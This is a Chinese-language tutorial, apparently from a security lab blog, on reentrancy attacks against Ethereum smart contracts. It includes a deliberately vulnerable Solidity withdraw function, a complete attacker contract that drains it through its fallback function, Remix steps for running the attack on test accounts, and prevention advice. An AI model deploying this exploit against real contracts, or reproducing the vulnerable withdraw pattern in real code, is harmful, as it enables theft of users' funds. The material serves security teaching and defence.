智能合约安全审计之路-重入攻击
- 2020 年 3 月 8 日
- 筆記
文章源自【字节脉搏社区】-字节脉搏实验室
作者-毕竟话少
描述:漏洞合约中某个函数中,使用call()方法发送eth,若eth的接收者为一个合约地址,则会触发该合约的fallback()函数。若该合约是攻击者的恶意合约,攻击者可以在fallback()函数中重新调用漏洞合约的上述函数,导致重入攻击
核心问题:重要的合约变量在“重入”的过程中没有被修改,从而绕过了限制

Fallback函数
概念: 回退函数,是合约里的特殊无名函数,有且仅有一个。它在合约调用没有匹配到函数签名,或者调用没有带任何数据时被自动调用。
触发场景:
- address.send(ether_to_send)
- address.call().value(ether_to_send)

漏洞流程

漏洞合约分析
pragma solidity ^0.4.24; contract ReentrancyGame { mapping (address => uint) public credit; //credit表示存储用户的余额 event Deposit(address _who, uint value); //Deposit表示充值 event Withdraw(address _who, uint value); function deposit() payable public returns (bool) { credit[msg.sender] += msg.value; //credit调用deposit()函数进行充值使用msg.value进行ETH发送 emit Deposit(msg.sender, msg.value); return true; } function withdraw(uint amount) public returns (bool) { //withdraw提币函数 if (credit[msg.sender]>= amount) { msg.sender.call.value(amount)(); credit[msg.sender]-=amount; emit Withdraw(msg.sender, amount); return true; } return false; } function creditOf(address to) public returns (uint) { return credit[to]; } }
漏洞点:从提币开始,首先校验credit是否大于amount(本次提现的ETH),然后使用call.value进行转账,然后再扣除余额。这里漏洞点就出在我们先使用call.value对用户进行转账,然后再减少余额。就是因为这种情况,攻击者可以反复进行withdraw(),在进入withdraw()之前,第一步的校验仍然有效,在进入withdraw()之后,credit(余额)并没有减少,第一步的校验仍然有效,攻击者才能源源不断的从合约中提取ETH

攻击者合约
pragma solidity ^0.4.24; contract ReentrancyGame { mapping (address => uint) public credit; event Deposit(address _who, uint value); event Withdraw(address _who, uint value); function deposit() payable public returns (bool) { credit[msg.sender] += msg.value; emit Deposit(msg.sender, msg.value); return true; } function withdraw(uint amount) public returns (bool) { if (credit[msg.sender]>= amount) { msg.sender.call.value(amount)(); credit[msg.sender]-=amount; emit Withdraw(msg.sender, amount); return true; } return false; } function creditOf(address to) public returns (uint) { return credit[to]; } function checkBalance() public constant returns (uint){ return this.balance; } } contract ReentrancyAttack { //调用attack()函数对漏洞合约进行远远不断的偷取ETH ReentrancyGame public regame; address owner; function ReentrancyAttack (ReentrancyGame addr) payable { owner = msg.sender; regame = addr; } function attack() public returns (bool){ regame.deposit.value(1)(); regame.withdraw(1); return true; } function geteth() public returns (bool){ owner.transfer(this.balance); return true; } function checkBalance() public constant returns (uint){ return this.balance; } function() public payable { regame.withdraw(1); } }
使用Remix进行调试
- 首先对合约进行编译(Current version设置为0.4X,Auto compile,Enable Optimization全部勾上。编译完成后会出现2个合约分别为ReentrancyAttack,ReentrancyGame)
- 首先部署ReentrancyGame(漏洞合约),这里Account设置一个受害者账户(0xca3…a733c),然后点击Deploy部署完成后漏洞合约,这里还是需要充值一定数量的ETH便于实验观察(Value设置为100 wei ETH点击deposit,然后点击checkBalance查看当前受害者地址为100 wei ETH,这里受害者合约ReentrancyGame就部署完成了)
- 攻击者合约部署ReentrancyAttack(攻击者合约),由于漏洞合约地址在提现的时候需要一定的ETH,所以这里在设置ReentrancyAttack合约的时候需要设置Value为5 wei ETH,Deploy设置为ReetrancyGame合约地址(注:这里是合约地址并不是账户地址)Account换一个账户(0x147…c160c)点击Deploy即可部署攻击者合约,部署完成后点击checkBalance查看当前账户余额为5 wei ETH,说明攻击者合约部署完成了
- 漏洞攻击-点击ReentrancyAttack(攻击者合约)attack即可攻击。攻击的过程中由于一直通过withdraw()函数进行循环提现,过程有点缓慢,等gas消耗完毕既可以查看(checkBalance)攻击者合约账号余额为51 wei ETH,再次查看ReentrancyGame(漏洞合约)账户余额为54 wei ETH,漏洞利用成功

漏洞预防
- 在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。
- 引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
- 将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。
